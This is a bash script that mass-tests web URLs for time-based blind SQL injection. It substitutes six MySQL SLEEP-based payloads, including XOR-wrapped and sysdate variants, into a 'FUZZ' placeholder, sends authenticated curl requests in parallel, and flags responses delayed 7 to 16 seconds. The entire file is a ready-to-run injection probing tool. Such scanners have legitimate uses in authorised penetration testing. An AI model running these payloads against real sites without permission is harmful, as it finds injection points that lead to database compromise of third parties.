#!/usr/bin/env bash

# Function to check dependencies
check_dependencies() {
    for cmd in curl parallel; do
        if ! command -v $cmd &> /dev/null; then
            echo "$cmd could not be found. Please install it."
            exit 1
        fi
    done
}

# Function to print usage
print_usage() {
    echo "Usage: $0 -u URL -c COOKIE_HEADER"
    echo "       $0 -f URL_FILE -c COOKIE_HEADER"
    echo "URL must contain 'FUZZ' where payloads should be inserted."
}

# Function to perform SQL injection test
perform_sqli_test() {
    local url=$1
    local cookie_header=$2

    if [[ $url != *"FUZZ"* ]]; then
        echo "Error: URL must contain 'FUZZ' where payloads should be inserted."
        print_usage
        exit 1
    fi

    local payloads=(
        "(SELECT(0)FROM(SELECT(SLEEP(7)))a)"
        "'XOR(SELECT(0)FROM(SELECT(SLEEP(7)))a)XOR'Z"
        "' AND (SELECT 4800 FROM (SELECT(SLEEP(7)))HoBG)--"
        "if(now()=sysdate(),SLEEP(7),0)"
        "'XOR(if(now()=sysdate(),SLEEP(7),0))XOR'Z"
        "'XOR(SELECT CASE WHEN(1234=1234) THEN SLEEP(7) ELSE 0 END)XOR'Z"
    )

    for payload in "${payloads[@]}"; do
        start_time=$(date +%s)
        
        fuzzed_url=${url//FUZZ/$payload}

        if [ -n "$cookie_header" ]; then
            curl -s -o /dev/null --max-time 20 -H "Cookie: $cookie_header" "$fuzzed_url"
        else
            curl -s -o /dev/null --max-time 20 "$fuzzed_url"
        fi

        end_time=$(date +%s)
        duration=$((end_time - start_time))

        if ((duration >= 7 && duration <= 16)); then
            echo "Potential time-based SQL injection vulnerability detected on $url with payload: $payload"
            break
        fi
    done
}

export -f perform_sqli_test

# Function to process URLs
process_urls() {
    local url_list=$1
    local cookie_header=$2

    if [ -f "$url_list" ]; then
        cat "$url_list" | parallel perform_sqli_test {} "$cookie_header"
    else
        perform_sqli_test "$url_list" "$cookie_header"
    fi
}

# Check dependencies
check_dependencies

# Parse command-line arguments
while getopts "u:f:c:" opt; do
    case $opt in
        u) URL=$OPTARG ;;
        f) URL_FILE=$OPTARG ;;
        c) COOKIE_HEADER=$OPTARG ;;
        *) echo "Invalid option: -$OPTARG" ;;
    esac
done

# Validate input
if [ -z "$URL" ] && [ -z "$URL_FILE" ]; then
    echo "You must provide a URL with -u or a file containing URLs with -f."
    print_usage
    exit 1
fi

# Process URLs
if [ -n "$URL" ]; then
    process_urls "$URL" "$COOKIE_HEADER"
elif [ -n "$URL_FILE" ]; then
    process_urls "$URL_FILE" "$COOKIE_HEADER"
fi
